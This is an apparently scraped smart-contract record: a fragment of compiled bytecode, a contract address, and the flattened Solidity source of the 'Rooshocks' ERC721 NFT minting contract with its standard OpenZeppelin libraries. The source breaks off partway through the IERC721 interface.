251602480830192600092919082900301818387803b158015612c5557600080fd5b505af1158015610ebe573d6000803e3d6000fd5b60008183612cf55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612cba578181015183820152602001612ca2565b50505050905090810190601f168015612ce75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d0157fe5b0495945050505050565b60008184841115612d5d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612cba578181015183820152602001612ca2565b505050900390565b6060612dba826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e169092919063ffffffff16565b80519091501561280e57808060200190516020811015612dd957600080fd5b505161280e5760405162461bcd60e51b815260040180806020018281038252602a815260200180613000602a913960400191505060405180910390fd5b6060612e258484600085612e2d565b949350505050565b6060612e3885612f9a565b612e89576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310612ec85780518252601f199092019160209182019101612ea9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612f2a576040519150601f19603f3d011682016040523d82523d6000602084013e612f2f565b606091505b50915091508115612f43579150612e259050565b805115612f535780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315612cba578181015183820152602001612ca2565b3b151590565b6040518060800160405280600490602082028036833750919291505056fe000000000000000000000000c25a3a3b969415c80451098fa907ec722572917f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212207784543d298ecb94df3645560e6074848b691754b3e56913677af96e4e73a4ae64736f6c634300060c0033
[ 16, 5, 12 ]
0xF20690D5A4642a4712Dea8467bD219352a2736FA
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Rooshocks is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; mapping(uint => uint) public minted; mapping(uint => uint) public _resMinted; uint[] public MAX_SUPPLY = [30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,5,5,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,5,20,20,5,10,5,15,20,20,20,10,10,10,20,20,20,10,10,20,10,10,10,10,20]; uint[] private _reserved = [5,3,3,3,3,2,3,2,3,3,3,2,2,2,2,3,2,3,1,2,3,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,1,1,5,1,1,1,1,2,2,1,1,1,1,1,1,2,1,1,1,2]; uint[] public _price = [80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,80000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,240000000 gwei,330000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,240000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei,120000000 gwei]; uint[] private _buffer = [0,30,60,90,121,150,180,210,240,270,300,330,360,390,420,450,480,510,540,540,550,570,590,610,630,650,670,690,710,730,750,770,790,810,830,850,870,870,890,910,920,930,930,950,970,990,1010,1020,1030,1040,1060,1080,1100,1110,1120,1140,1150,1160,1170,1180]; string private baseURI; bool public _isSaleActive = false; constructor() ERC721("The Rooshocks Collection", "ROOS") {} function setBaseURI(string memory URI) external onlyOwner { baseURI = URI; } function _baseURI() internal view override(ERC721) returns (string memory) { return baseURI; } function totalSupply() external view returns (uint256) { return _tokenIdCounter.current(); } function setSaleState(bool newState) public onlyOwner { _isSaleActive = newState; } function mint( uint _type ) external payable nonReentrant{ require(_isSaleActive, "sale inactive"); require(msg.value == _price[_type], "Insufficient funds"); require(minted[_type] + 1 <= MAX_SUPPLY[_type] - _reserved[_type], "Not enough tokens left"); require(msg.sender == tx.origin, "Interaction not allowed"); ++minted[_type]; _tokenIdCounter.increment(); uint _tokenID = _buffer[_type] + minted[_type] + _resMinted[_type]; _safeMint(msg.sender, _tokenID); } function claim( address _addr, uint _type ) external onlyOwner{ require(_resMinted[_type] + 1 <= _reserved[_type], "Not enough tokens left"); ++_resMinted[_type]; _tokenIdCounter.increment(); uint _tokenID = _buffer[_type] + minted[_type] + _resMinted[_type]; _safeMint(_addr, _tokenID); } function tokenURI(uint tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(baseURI, uint2str(tokenId), ".json")); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` 